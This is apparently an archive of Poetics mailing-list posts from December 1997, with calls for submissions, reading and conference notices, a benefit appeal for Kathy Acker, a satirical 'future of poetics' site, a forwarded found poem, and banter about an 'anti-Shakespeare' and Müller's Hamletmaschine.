13. Robert J Tiess

An Invitation to Submit

Mon 1 Dec 1997

~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~

P O E T F E S T - An Invitation to Submit

~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~

Dear Poets,

Poetfest is currently seeking submissions for the upcoming January 98 Anthology, which will be published exclusively on the World Wide Web and made freely enjoyable to readers and fellow poets of all ages, from all over the world.

Poetfest is an ongoing series of thematically-arranged poetry anthologies. The theme for the next collection is "Journies." The deadline is December 30, 1997, but I would appreciate hearing from you earlier, if possible.

All poets are welcome and encouraged to submit their best material (up to 10 poems, any style, up to 100 lines, plain text) for consideration at the Poetfest site:

http://www.geocities.com/Athens/Acropolis/7101/poetfest.htm

I will consider more and/or longer poems if you wish. You may send me poems through the site itself or to me directly via e-mail. Please read the publication, and all rights always remain with the author.

You may also view the first anthology (Fall 97), which is presently available on-line until January 1998. Your comments and suggestions are most welcome.

I look forward to hearing from you, and I thank you all for your time and consideration. Take care.

Truly yours,
Robert
[redacted]

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14. Maria Damon (Maria Damon)
announcement
Tue 2 Dec 1997

Date: Tue, 2 Dec 1997 13:02:52 -0800 (PST)
To: Maria Damon <[redacted]>
From: [redacted] (Walter K. Lew)
Subject: Please forward

"Brine: A Poetry Reading by Walter K. Lew"
Friday, December 5, 1997
2:00-3:30 p.m.
Social Sciences Building, Rm SOS B40,
University of Southern California
Parking is available at USC Gate #3 at Figueroa and 35th St.

The Souther California Korean and Korean American Studies Group is funded by a grant from the US Dept. of Education. For further information, please contact Chris Evans at [redacted]

*****

Walter K. Lew's books include _Excerpts from Dikte, for DICTEE (1982)_ and the forthcoming collection of poems, _Brine_. He edited _Premonitions: The Kaya Anthology of New Asian North American Poetry_ and the inaugural volume of _Muae: a journal of Transcultural Production_.

Lew is presently preparing the selected works with commentary of both the Korean modernist Yi Sang and Korean American novelist Younghill Kang, as well as the collected poems of the late N. Y. Chinatown writer Frances Chung. Lew's "movietelling" (benshi or pyonsa) performances have been staged at the 1990 Los Angeles Festival, Walker Art Center, Pacific Film Archive, and Asian CineVision's Asian and Asian American International Film Festival (1982). Lew has worked as producer for many internationally broadcast news stories and documentaries on Korean topics for CBS News, NHK Japan, and British ITV. He has taught at Brown and Cornell, among other universities, and is presently in the Cultural and Comparative Studies doctoral program at UCLA.

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15. Fraser Thomas
The future of poetics!
Tue 2 Dec 1997

Attention potential partners:

At last a syntax sophisticated and inclusive enough to contain your entire cultural needs. You may never need to speak spontaneously again.

Syntax is changing faster and faster. Experts predict that by 2003, linguistic systems will need major updates every few days. We may not be at that level yet, but here at Global Telelanguage Resources, we don't think you can be too prepared. We work with structures dynamic and flexible enough to configure even the most disjunctive approaches to communication and art.

Following directly from the many daring innovations in poetry performed in the 1970s and 1980s, GTR features an expanded program of verbal initiatives to bring us the next millennium and beyond. Where previous schools of poetry promised you a total syntax, GTR will give you a truly "Global" one.

Check out the future of poetics at

http://users.uniserve.com/~gtr

Sincerely yours,

Fraser Thomas
Partner in Language

Global Telelanguage Resources
http://users.uniserve.com/~gtr

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16. David R. Israel
cosmicrobia
Tue 2 Dec 1997

---

a word to watch

Evidently, astrophysicists Hoyle and Narlikar authored a book called *Life on Mars* -- regarding which, this quote is credited to the journal *Astronomy Now*:

<< If you are interested in a clear description of the theories of cosmicrobia (or more crudely, "bugs from space") then this is the book for you. . . >>

d.i.

```
 .
 .....
 ............
 \\\\
```

```
| [redacted]      (office)
==========================
|  thy centuries follow each other
|  perfecting a small wild flower
|                              (Tagore)
//////////////////////////////////////\\\\\/////
```

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17. Catherine Daly

Acker Benefit

Tue 2 Dec 1997

From my e-mail:

Calling all Writers.

It's not often we here at Pif Magazine interrupt our in-between issue sabbatical, but a worthy cause has come to our attention and we'd like to spread the word.

Any of you who've spent any time in the Washington, D.C., area are already well-aware of Atticus Books, home to (among others) Gargoyle Magazine, Lucinda Ebersole, Richard Peabody. The place is a proving ground for many of the District's aspiring poets and writers. And one of the joint's staunchest supporters, Kathy Acker, needs our help. Her cancer is spreading and the prognosis isn't good.

Kathy's friends are holding a benefit (to raise money to off-set her costly medical treatments) and they ask any and all interested writers to attend. Richard Peabody says: "We're asking people to give what they can afford and we'll pass the hat. Kathy's in Mexico ... She had a double mastectomy last year. Was in remission. Now has cancer of liver, kidneys, spleen, you name it. Her bills are astronomical and we're just going to try and help a little. "

The event will be held on Saturday, December 13th, at 7 pm. The list of attending writers is large, so don't miss out. For those who don't already know, the address for Atticus Books is: 1508 U Street, NW Washington D.C. 20009 (On the Green Line. Just 2 blocks from the U Street/Cardozo METRO Station).

For more information about the benefit you can email
[redacted], or phone [redacted].

Thanks,

Richard Luck
Editor, Pif Magazine
http://www.dimax.com/pif/

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18. Robert J Tiess
Poetfest (erratum)
Tue 2 Dec 1997

> *Poetfest is an ongoing series of thematically-arranged poetry anthologies. The theme for the next collection is "Journies."*

The last word should be Journeys. ("Journies" was actually was listed in the user dictionary of my spell-checker.)

rjt

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19. Jacques Debrot
Re: Lit Mags
Tue 2 Dec 1997

If anyone knows the subscription and/or single issue cost of any of the following mags, would you please post or backchannel the info to me:

JUXTA
MEMBRANE
NO ROSES REVIEW
PRIMARY WRITING
SYN/AES/THETIC
SYNTACTICS
TRANSMOG
WASHINGTON REVIEW

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20. Loss Pequen~o Glazier
Kathy Acker
Tue 2 Dec 1997

See the EPC home page for a link to a terrific tribute to Kathy Acker.

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21. Judy Roitman
501(c)3
Tue 2 Dec 1997

If you have any advice about getting 501(c)3 status for a small press, Lee Chapman would appreciate hearing it. Her fax is [redacted], her e-mail [redacted]. In particular, she'd appreciate copies of successful 501(c)3 forms and by-laws.

Thanks.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://titania.math.ukans.edu/faculty/roitman/

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22. tony lopez
postmodern poetry conference 98
Tue 2 Dec 1997

POSTMODERN POETRY; AN INTERNATIONAL CONFERENCE

30-31 March 1998 at Exmouth Campus, University of Plymouth, UK.

A programme of academic papers on innovative contemporary poetry and a reading by six leading poets from USA, Australia and UK. Speakers from USA, France, Australia, Germany, Northern Ireland, UK will include poets and scholars Caroline Bergvall, Andrew Crozier, Rachel Blau DuPlessis, Lyn Hejinian, Richard Kerridge, John Kinsella, Peter Middleton, Drew Milne, Peter Nicholls, Douglas Oliver, Bob Perelman, Peter Riley, Marjorie Welish and others: 25 papers in all. Readers on Monday evening will be Rachel Blau DuPlessis, Lyn Hejinian, John Kinsella, Bob Perelman, Douglas Oliver & Marjorie Welish.Registration including a wine reception, refreshments & lunch on each day, conference materials, dinner at a nearby hotel on Monday 30th: #50 sterling waged/ #40 sterling unwaged. Without dinner #35 sterling waged/#25 sterling unwaged. Details (registration forms, list of accommodation at various grades/ prices) from Karen Somerfield, Faculty of Arts & Education, University of Plymouth, Douglas Avenue, Exmouth EX8 2AT, UK, phone Karen Somerfield on 01395 255342, [redacted]. The conference organisers Tony Lopez & Philip Terry gratefully acknowledge the support of the University, the Ronald Duncan Literary Foundation and South West Arts. Sponsors especially welcome.

NB : If you are a participant, there is a letter already on its way to you with a registration form and further details.

TL

_____

Dr Tony Lopez
Reader in Poetry
University of Plymouth
Faculty of Arts & Education
Douglas Avenue
Exmouth
EX8 2AT
UK

tel: 1395 255418
fax: 1395 264196

_____

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23. Jennifer Drake

CFP: Comparative American Poetries (1/10; ASA 11/98)

Tue 2 Dec 1997

Call for Papers: Comparative American Poetries

American Studies Association, Seattle, Washington, November 19-22, 1998

I am seeking proposals for presentations/performances that place U.S. poetic traditions in international and/or diasporic contexts, that take a comparative approach to U.S. poetries, or that articulate (dis)connections between poetries of the Americas. Of particular interest are proposals on performance poetries, community-based poetries, poetry and the public sphere, poetry and/as art activism, poetry and/as historical 'narrative,' poetry and/as pedagogy, bi- or multilingual poetries, 'border' poetries, poets in dialogue, cross-cultural poetics. Alternative approaches to writing, presenting, and eliciting audience participation are strongly encouraged.

Please send abstracts, proposals, or papers by January 10 to Jennifer Drake, Department of English, Indiana State University, Terre Haute, IN 47809, or by email: [redacted]

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24. Christopher Alexander
Re: phenomena
Tue 2 Dec 1997

Kent wrote:
> is it possible that "buying-nothingness" is actually a kind of commodity
> (like a scentless perfume suddenly all the rage) that enters into a
> deeper set of real and existing relations that are obscured from me?

oh, Kent, why go to all this worry & fuss - you
could've just asked me to re-post the price list.

Chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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25. Mark Weiss
Re: 501(c)3
Tue 2 Dec 1997

Junction Press was helped with its successful application bt Volunteeer Lawyers for the Arts, in New York.

At 09:19 AM 12/2/97 -0600, you wrote:
>If you have any advice about getting 501(c)3 status for a small press, Lee
>Chapman would appreciate hearing it. Her fax is [redacted], her e-mail
>[redacted]. In particular, she'd appreciate copies of successful
>501(c)3 forms and by-laws.
>
>Thanks.
>
>
>
>----------
>Judy Roitman | "Whoppers Whoppers Whoppers!
>Math, University of Kansas | memory fails
>Lawrence, KS 66045 | these are the days."
>[redacted] |
>fax: [redacted] | Larry Eigner,

1927-1996
>----------
>Note new area code
>----------
>http://titania.math.ukans.edu/faculty/roitman/
>----------
>
>

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26. KENT JOHNSON
so much for Dasein
Tue 2 Dec 1997

On 12/2 Chris Alexander wrote:
>Oh, Kent, why go to all this worry and fuss--you could've jsut asked
>me to report the price list.

Chris, I really didn't buy anything on Buy Nothing Day, _except_ a box of smuggled Monte Cristo's fresh from Havana. That doesn't count, right?

But here's what I replied (I know no one cares, but so what?) to David Israel a couple days back, which my reply key sent somewhere into the ether. David said something linke "no, Kent, no, things also have substantiation," to which I replied: "Right. What I meant in that part of my little ramble is that the phenomenal expression of the commodity is something utterly other than its noumenal being. Marx's somewhat wild point is that the objective but hidden social relations of capitalism _bring into appearance_ the status of the commodity as a "discrete substance," as if it were a thing in and of itself. Thus, what we don't see is more real than what we do, and so on. This magic act of the commodity, says Marx, is the core conceptual phantasm fueling capital's engine, and a big, big part of its generalized mystification of phenomena (i.e. ho hum, ideology). It makes us want to buy deodorant and boss-logo T-shirts that say "Don't buy the commodity for a day!," makes us neurotic and alienated, even (when you trace it back) makes us desire to post post after post in hopes that someone will buy what we have to say and love us, oh, and welcome us, as if we belonged, into the poetry store, and, ok, ok...

But, no, David, what it would be like to "see" this bottle and book in front of me with a full apprehension of their "substantiation" is certainly beyond me. We can never do that, and that we can't is not just the matter of a "pure" epistemological dilemma.

And I think the scent of this Cuban cigar made me say all that. Kent

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27. Kenneth Goldsmith

This is a riot!

Tue 2 Dec 1997

This is a riot! Hope you find it funny too!

Kenny G.

Forwarded Message

> *The right blonde*
> *by M.P.*
>
> *Wrong: Terre Haute*
> *Right: Burnt Toast*
>
> *Wrong: I can't wait until our hot bodies compress*
> *Right: I may possibly be the right blonde*
>
> *Wrong: This too-short life*
> *Right: This lousy T-shirt*
>
> *Wrong: A*
> *Right: B*
>
> *Wrong: But the priest's right*
> *Right: Go to hell*
>
> *Wrong: The will of God*
> *Right: The wrong type of man*
>
> *Wrong: Her cousin*
> *Right: Her eye*
>
> *Wrong: You moron!*
> *Right: Seldom have I seen such gall*
>
> *Wrong: Modern technology*
> *Right: Ooh baby baby*
>
> *Wrong: The universal order*
> *Right: Grandchildren*
>
> *Wrong: Be super freaky*

> *Right: Hold on to your values*
>
> *Wrong: Live and love*
> *Right: Do you want a bun for that hot dog?*
>
> *Wrong: The tool*
> *Right: The facts*
>
> *Wrong: Janet is jubilant*
> *Right: Emma is in a dilemma*
>
> *Wrong: My roommate has crabs*
> *Right: And Matt wears her underwear*
>
> *Wrong: I quack quietly*
> *Right: I hate myself*
>
> *Wrong: Boxers*
> *Right: Wrestlers*
>
> *Wrong: Get misty-eyed*
> *Right: Just squat*
>
> *Wrong: You make me feel so healthy*
> *Right: You look like Bukowsi*
>
> *Wrong: I am so fucking stoned!*
> *Right: I am studying the Bible!*
>
> *Wrong: The bird flew around the cage*
> *Right: The bird flew into the cage*
>
> *Wrong: The bird flew over the cage*
> *Right: You have a small duck*
>
> *Wrong: VROOM, VROOM!!!!*
> *Right: Chomp, Chomp!!*
>
> *Wrong: Doomsday doomsday doomsday doomsday doomsday*
> *Right: Um possibly Friday*
>
> *Wrong: You're a big dog*
> *Right: Can I be your puppy?*
>
> *Wrong: Your big green eyes*
> *Right: Your crow bar*
>
> *Wrong: Getting a hard-on*

> *Right: Following the Pope*
>
> *Wrong: Chased with a whisk*
> *Right: Having a death scene*
>
> *Wrong: Spaghetti, pancakes and pork*
> *Right: Ed*
>
> *Wrong: Jeffrey*
> *Right: Joseph*
>
> *Wrong: And I . . . I just believed him*
> *Right: I have a pair of pretty ones*
>
> *Wrong: In my finest hour*
> *Right: Buxom beauties*
>
> *Wrong: A real loss*
> *Right: Oh well, dont kill yourself yet*
>
> *Wrong: I need clean underwear!*
> *Right: This must be heaven*
>
> *Wrong: Hundreds of nude photos*
> *Right: In loving memory*
>
> *Wrong: 12 boys*
> *Right: 2 girls*
>
> *Wrong: In the way a good student is easy to train*
> *Right: In conclusion*
>
> *Wrong: I want to feel your pulsating cock inside me*
> *Right: Why dont you come over and put some wood in my fire?*
>
> *Wrong: My sun, moon and mountains*
> *Right: My steel bullet*
>
> *Wrong: Colleagues*
> *Right: Collaborators*
>
> *Wrong: Free diagnostic treatment*
> *Right: No talent required*
>
> *Wrong: Smear-free*
> *Right: Peek-a-boo!*
>
> *Wrong: Your sky-blue whip*

> *Right: A simple coincidence*
>
> *Wrong: After the failure*
> *Right: After the future*
>
> *Wrong: Continental philosophers*
> *Right: Northern stars*
>
> *Wrong: Ill see you in cckcccchcccch*
> *Right: Ill stop here*
>
> *Wrong: Jeff is smiling because "It's windy out today"*
> *Right: Angela is smiling because "I'm getting audited"*
>
> *Wrong: I thank you*
> *Right: I spank you*
>
> *Wrong: Frank*
> *Right: Joan*
>
> *Wrong: Disco*
> *Right: A world class cigar*
>
> *Wrong: That happy day*
> *Right: I used to be a thug*
>
> *Wrong: We specialize in all types*
> *Right: All others keep out*
>
> *Wrong: Busy and bubbly*
> *Right: Worst and most contemptible*
>
> *Wrong: Real kids*
> *Right: Real results*
>
> *Wrong: Ideal chicken*
> *Right: Good chicken*
>
> *Wrong: Liberal titties*
> *Right: Mandatory fees*
>
> *Wrong: If you love me*
> *Right: On the other hand*
>
> *Wrong: Big hair and a bathing suit*
> *Right: A little sympathy*
>
> *Wrong: A Chinese opera nun*

> *Right: A second-hand dude*
>
> *Wrong: Like that no-frills white boy*
> *Right: Like the white-winged dove*
>
> *Wrong: Your blindfolding fantasies*
> *Right: Some biographical details*
>
> *Wrong: You mean purple-headed warrior?*
> *Right: Tired of losing?*
>
> *Wrong: I am in the chapel*
> *Right: Keep those videotapes coming*
>
> *Wrong: My little sister*
> *Right: A widened social consciousness*
>
> *Wrong: Walking the dog*
> *Right: Walking on Lake Erie*
>
> *Wrong: Cut the turkey*
> *Right: Weigh my turkey*
>
> *Wrong: One night that changed everything*
> *Right: To be prearranged later*
>
> *Wrong: Joy*
> *Right: First, lets have some ice cream*
>
> *Wrong: The problem remains serious*
> *Right: The dude got mulched*
>
> *Wrong: With hilarious results*
> *Right: By popular demand*
>
> *Wrong: Mental health*
> *Right: Youre a weirdo*
>
> *Wrong: Are you hungry?*
> *Right: Which is your truck?*
>
> *Wrong: Gods infinite plan*
> *Right: You make me happy drawer with foil!*
>
> *Wrong: Kennels*
> *Right: Women*
>
> *Wrong: Men*

> *Right: Diapers*
>
> *Wrong: A perfect example*
> *Right: Beep beep beep beep*
>
> *Wrong: Danish*
> *Right: Toast*

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28. david bromige
thanks kenneth goldsmith!
Wed 3 Dec 1997

This poem is a big step forward for Michael Palmer. Using techniques familiar to his fans, the interweaving "double staircase"/DNA-helices structure found in a number of his earlier works, M.P. steps out of the umbrous marges slap bang into the clearing. From what source, btw, was this uncommonly pellucid poem retrieved? David

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29. Stephen Cope
query
Wed 3 Dec 1997

Hello,

Might anyone have an e-mail address for John Taggart?

Thanks in advance,
Stephen Cope

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30. David W. Clippinger
Re: Taggart
Wed 3 Dec 1997

John doesn't have e-mail, but you can call him at [redacted] (office) or [redacted] (home) or his address is

295 E. Creek Road
Newburg, PA 17240

Best,
David Clippinger

At 02:41 AM 12/3/97 -0800, you wrote:
>Hello,
>
>Might anyone have an e-mail address for John Taggart?
>
>Thanks in advance,
>Stephen Cope
>
>

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31. Daniel Zimmerman
Re: The future of poetics!
Wed 3 Dec 1997

A freaking hilarious site, complete with an [empty] Ministry of Truth virtual office building! Sokal's revenge?

Dan Zimmerman
Middlesex County College
Edison, NJ

Fraser Thomas wrote:
>
> Attention potential partners:
>
> At last a syntax sophisticated and inclusive enough to contain your entire
> cultural needs. You may never need to speak spontaneously again.
>
> Syntax is changing faster and faster. Experts predict that by 2003,
> linguistic systems will need major updates every few days. We may not be at
> that level yet, but here at Global Telelanguage Resources, we don't think
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> poetry promised you a total syntax, GTR will give you a truly "Global" one.
>
> Check out the future of poetics at
>

> http://users.uniserve.com/~gtr
>
> Sincerely yours,
>
> Fraser Thomas
> Partner in Language
> _____
> Global Telelanguage Resources
> http://users.uniserve.com/~gtr

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32. Harold Rhenisch

Re: poetics under the jackboot

Wed 3 Dec 1997

> *Just out of curiosity, who was the anti-Shakespeare? Goethe? Holderlin?*
>
> *Bill Freind*

I don't know. I will ask.

Schiller or Goethe, probably.

Harold

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33. Jordan Davis

There's A Riot Going On, We're Lions in Slumber (was: It Just Dasein , Matter)

Wed 3 Dec 1997

Have it your way! The world is ugly and the people are sad!

—
The much-anticipated John Kinsella/Keston Sutherland reading at Poetry City this Thursday has been postponed. Each poet will be at T&W next spring. Don't neglect to come to New York for the Mark Statman/Michael Morse reading Dec. 11 -- it's the annual Teachers & Writers holiday party, and we'll be showing the much-wrinkled home movies of Larry Fagin, Lewis Warsh, Anne Waldman, Bill Berkson, Bernadette Mayer, Ted Berrigan etc etc etc.

So to sum up, no Po City this Thurs. Next Thurs, yes.

Signed,
Peremptorily Brine-Omphalos Commodity the Lesser

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34. Eric Blarnes
Re: the future of poetics!
Wed 3 Dec 1997

But why bother with all that high-tech hardware? Things sure are changing fast. I was over at CVS yesterday to pick up some dental floss and noticed that Colgate is offering something called Syntaxis Toothpaste - with a thorough daily brushing your gums absorb a complete lexical system based on a digitalized analog of FINNEGAN'S WAKE, and you find yourself spouting poetry (& fresh breath, too!) very spontaneously. No forethought required - just remember to brush regularly! - Eric Blarnes

p.s. Jack Spandrift tells me the big news in 21st century poetry will be - you guessed it - RHYME. Look out! Henry Gould dissertation to follow [NOT].

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35. Mary Burger
Announcing idiom #3 online magazine
Wed 3 Dec 1997

Announcing the appearance (resurrection) of Idiom Number 3 on monitors across the planet. This issue includes poetry, reviews, interviews, and art (the art will be completed and posted in a week). Stay tuned in the coming months for Number 4 and some special topic issues.

http://www.dnai.com/~idiom/issue3/issue3_cover.html

Mary Burger
Technical Writer
User Education
Adobe San Jose
W7 - 106
[redacted]

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36. Judy Roitman
Re: Announcing idiom #3 online magazine
Wed 3 Dec 1997

> *Announcing the appearance (resurrection) of Idiom Number 3 on monitors across the planet. This issue includes poetry, reviews, interviews, and art (the art will be completed and posted in a week). Stay tuned in the coming months for Number 4 and some special topic issues.*

> *http://www.dnai.com/~idiom/issue3/issue3_cover.html*
>
> *----------*
> *Mary Burger*
> *Technical Writer*
> *User Education*
> *Adobe San Jose*
> *W7 - 106*
> [redacted]
> [redacted]

Couldn't get Jay Schwartz' page to come up.

?

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
---
http://titania.math.ukans.edu/faculty/roitman/

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37. Garrett Kalleberg
Kathy Acker Requiem
Thu 4 Dec 1997

Posted Wednesday at CTheory, an excerpt from Kathy Acker's Requiem:

http://www.ctheory.com/a56.html

Garrett Kalleberg
[redacted]

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38. MillettiC
call for submissions
Thu 4 Dec 1997

This is a multi-part message in MIME format.

--part0_881239049_boundary

Folks,
Please pass this call on to anyone you think might be interested.

I've also attached a hard copy if you'd like to post it.
Thanks,
Christina Milletti
Editor, The Little Magazine

The Little Magazine Announces a Call for Submissions
for a 1998 Hypermedia CD-ROM Issue

What we want:
Send us your experiments, your finished pieces in the following areas:

· web art and web based projects
· hypertexts: hyperpoetry & hyperfiction
· animations & digitized pieces
· sound texts and toys
· manifestos & theoretical work
· multimedia explorations (whatever isn't covered above)

What are you doing? How are you doing it?
That's what we want to know.

See our website at www.albany.edu/~litmag or The Little Magazine Vol 21 on CD- ROM (1996) for what we've done in the past, and what we'd like to try.

Who we are: Since 1965, The Little Magazine has been a literary journal devoted to publishing fiction and poetry in experimental forms. In 1995, we embraced our own mission: we moved to the web and CD-ROM in order to explore and exploit the nexus of opportunities that now exist between literature and media—how literature, in effect, can benefit from emerging technologies. Above all, we remain devoted to work of strong artistic merit which pushes its own limits: to forms which writers and artists are now just starting to take advantage.

Deadlines:
Send submissions by February 1, 1998 to:

The Little Magazine or to: [redacted]
University at Albany, SUNY
CD-ROM Issue
Albany, NY 12222

We prefer submissions on disk (PC/Mac) or via e-mail. Contact us re: formatting and software questions.

The Little Magazine CD-ROM (1996) is available in bookstores. Or, send a $15.00 check/money order to our above address.

--part0_881239049_boundary
name="CALLFO~1.DOC"

--part0_881239049_boundary--

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39. KENT JOHNSON
somewhat esoteric query
Thu 4 Dec 1997

Is anyone out there involved in translation (or know of anyone doing so) of contemporary poets from Uruguay or Bolivia? Please back-channel. Thanks.
Kent

↑ Index

40. Maria Damon
self-promo unabashed
Thu 4 Dec 1997

---

just had a piece out in a journal called _symploke: a journal for the intermingling of literary, cultural and theoretical scholarship_. it's me at my most unabashedly over-the-top gushy, on the subject of "Jean Genet: Passion In Memoria Aeterna." i sort of can't believe i wrote it, it's so too-too.

↑ Index

41. Maria Damon
Re: Kathy Acker Requiem
Thu 4 Dec 1997

---

is money sstill being collected to defray her expenses, or are those announcements now moot? if there's still a call for $, wd someone please repost the mailing info? thanks.

At 1:23 AM -0500 12/4/97, Garrett Kalleberg wrote:
>Posted Wednesday at CTheory, an excerpt from Kathy Acker's Requiem:
>
>http://www.ctheory.com/a56.html
>
>
>
>
>
>Garrett Kalleberg
>[redacted]

↑ Index

42. Kenneth Goldsmith
The Right Blonde
Thu 4 Dec 1997

"The Right Blonde," BTW, was by Mark Peters.

Kenny G.

↑ Index

43. nuyopoman
Subject: Re: poetics under the jackboot
Thu 4 Dec 1997

Isn't Henry Carey, author of "Chrononhotonthologos," the Anti-Shakespeare?

Bob Holman

↑ Index

44. Lawrence Upton.
Re: somewhat esoteric query
Thu 4 Dec 1997

Kent

Do you know / know of Will Rowe? Professor William Rowe at Kings College London? I dont think he is, but he may well know. I shall copy your message to him

L
-----Original Message-----
From: KENT JOHNSON <[redacted]>
To: [redacted] <[redacted]>
Date: 04 December 1997 15:49
Subject: somewhat esoteric query

Is anyone out there involved in translation (or know of anyone doing
so) of contemporary poets from Uruguay or Bolivia? Please
back-channel. Thanks.
Kent

↑ Index

45. Harold Rhenisch
Re: anti-shakespeare
Thu 4 Dec 1997

> *Isn't Henry Carey, author of "Chrononhotonthologos," the Anti-Shakespeare?*

> *Bob Holman*

Bob, I don't know this piece. Could you tell me more?

But it would have to hold up to _Hamletmaschine_ by Mueller, wouldn't it?

"I was Hamlet.
I stood on the seashore and conversed with the surf BLA BLA BLA.
Behind me, the ruins of Europe."

and on we go!

or, act 2

"I am Ophelia. The one the river didn't keep. The woman dangling from the rope. The woman with her arteries cut open."

or, act 3

"OPHELIA: Do you want to eat my heart, Hamlet?
HAMLET: I want to be a woman."

or, act 4

"JUST THE WORST TIME OF THE YEAR FOR A REVOLUTION
Cement in bloom walks through the slums
Doctor Zhivago weeps
For his wolves"

or

"I'm not Hamlet. I don't take part any more. My words have nothing to tell me anymore."

or

"TV screens go black. Blood oozes from the refrierator. Three naked women: Marx, Lenin, Mao. They speak simultaneously, each one n his own language, the text: THE MAIN POINT IS TO OVERTHROW ALL EXISTING CONDITONS..."

or, act 5:

"This is Electra speaking. In the heart of darkness. Under the sun of torture. To the capitals of the world. In the name of the victims."

Whew.

Harold Rhenisch
[redacted]

↑ Index

46. Pritchett,Pat
Re: Marks et al in ABR
Thu 4 Dec 1997

Just wanted to call the List's attention to some truly fine reviews by Steven Marks in the latest ish of American Book Review. The poets whose works are considered are Mark Wallace, Kristen Prevallet, Jefferson Hansen, Wendy Battin and Jena Osman, the last two being reviews of the author's poetry websites. Marks's concluding remarks about "learning new language games" while too brief, are foresightful and provocative.

To Jefferson Hansen and Mark Wallace - can you please post info on how to order your books?

Patrick Pritchett

↑ Index

47. Henry Gould
anti-shakespeare
Thu 4 Dec 1997

One theory has it Shakespeare was really William Stanley, hereditary ruler of the Isle of Man (a manxman). There is a small island off Man called the "Calf" of man, which some kooks relate to the island setting of the Tempest. Caliban is called the "calf-man" (among other things...).

was WS really WS? The ante-WS?

only Jack Spandrift knows for sure. they trimmed his tail a long time ago. (oh-oh, now I'm gonna get it...) - Henry Gould

↑ Index

48. Mark Weiss
Re: anti-shakespeare
Thu 4 Dec 1997

The best of this sort that I know is the first film version of Hamlet, shot in Denmark in a think 1903. The plot is a melange of Shakespeare and Saxo Grammaticus, with the wholly original element that Hamlet is played by a woman pretending to be a man. Even Gertrude is apparently unaware of the deception. When Hamlet receives her fatal wound Horatio opens her tunic to check out the damage, revealing a breast. He looks up at the camera, astonished. Cut to the title: "No wonder I've always been attracted to you!" And of course there's always Dryden and Davenant's version of The Tempest as scurrilous farce: they add a male equivalent of Miranda, a few noble ladies to tempt his virtue, and a

female Caliban. It's quite wonderful, but it does feel like someone has scrawled graffitti on the sistine chapel.

At 10:01 AM 12/4/97 -0700, you wrote:
>>Isn't Henry Carey, author of "Chrononhotonthologos," the Anti-Shakespeare?
>
>>Bob Holman
>
>Bob, I don't know this piece. Could you tell me more?
>
>But it would have to hold up to _Hamletmaschine_ by Mueller, wouldn't it?
>
>"I was Hamlet.
>I stood on the seashore and conversed with the surf BLA BLA BLA.
>Behind me, the ruins of Europe."
>
>and on we go!
>
>or, act 2
>
>"I am Ophelia. The one the river didn't keep. The woman dangling from the
>rope. The woman with her arteries cut open."
>
>or, act 3
>
>"OPHELIA: Do you want to eat my heart, Hamlet?
>HAMLET: I want to be a woman."
>
>or, act 4
>
>"JUST THE WORST TIME OF THE YEAR FOR A REVOLUTION
>Cement in bloom walks through the slums
>Doctor Zhivago weeps
>For his wolves"
>
>or
>
>"I'm not Hamlet. I don't take part any more. My words have nothing to tell
>me anymore."
>
>or
>

>"TV screens go black. Blood oozes from the refrierator. Three naked women:
>Marx, Lenin, Mao. They speak simultaneously, each one n his own language,
>the text: THE MAIN POINT IS TO OVERTHROW ALL EXISTING CONDITONS..."
>
>or, act 5:
>
>"This is Electra speaking. In the heart of darkness. Under the sun of
>torture. To the capitals of the world. In the name of the victims."
>
>Whew.
>
>Harold Rhenisch
>[redacted]
>
>

↑ Index

49. Jordan Davis
textual perversity in new york
Thu 4 Dec 1997

Bob's referring to the play the New York School loved, a parody of elizabethan blank verse drama (tho it is certainly an elizabethan blank verse drama). I forget which mimeo press brought out a (facsimile) version of the text.

To isolate the germ of amusement: Chronohotontologos's name takes up more than half of a blank verse line.

Hey Simon Fraser U, don't they give you enough work to keep you occupied? I mean, I liked GTR almost as much as I dug Giuffria or Ratt, but what's with the hard-drinking lesly? and the note pad is straight outta Matt Groening. But to speak tectonically: nice work, keep going.

Ok dok,
JD

↑ Index

50. Lawrence Upton.
oops - not for the first time
Thu 4 Dec 1997

---

apologies - to will and kent
a mesage that was intended for backchannel

no harm done i think
but foot in an unintended cowpat

L

↑ Index

51. **Mark Weiss**
(no subject)
Thu 4 Dec 1997

Anybody have Joseph Duermer's and/or Nate Mackey's email address? Does Hambone continue? Please backchannel.

↑ Index

52. **Miekal And**
Re: call for submissions
Fri 5 Dec 1997

---

christina:

caught your call for submissions on the poetics list. there was no mention of formats or how many megs a submission can be. personally Id like to do something specifically for your project but wonder if you are even interested in my work. perhaps you could take a look at some of my recent things & see what you think. they are at:

http://net22.com/qazingulaza/joglars/index.html

Miekal And

--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

↑ Index

53. **Miekal And**
Re: call for submissions
Fri 5 Dec 1997

---

sorry, letter intended backchannel---

m

↑ Index

54. Alan Myouka Sondheim
Iroiro
Fri 5 Dec 1997

-

Iroiro

The weather began to turn around the beginning of November. I dreamed of fire, sparks flying in the night across the wooden houses. We were jammed against the cemetary, bad luck in any season; Hokusai's ghosts spoke across hideous red lanterns, their teeth waiting for the skin to fall. Fukuoka was ruptured by uneasy presences; the foreign community talked and talked, waiting for something to happen. Rumblings from Eastern City penetrated Nine-States Island. These were the States at that juncture:

State-of-Hand-Joined-to-the-Body
State-of-Being-Perfectly-Not-Here
State-of-Disconsolate-Thought-of-Wings
State-of-Hand-Not-Joined-to-the-Body
State-of-Beauty-Futon-Winter-Comfort
Electric-State-of-Coming-Wonders
State-of-Seeing-You-Around-About
Eighth-State-of-Fukuoka-City
State-of-Siege-of-Hardly-Kanji

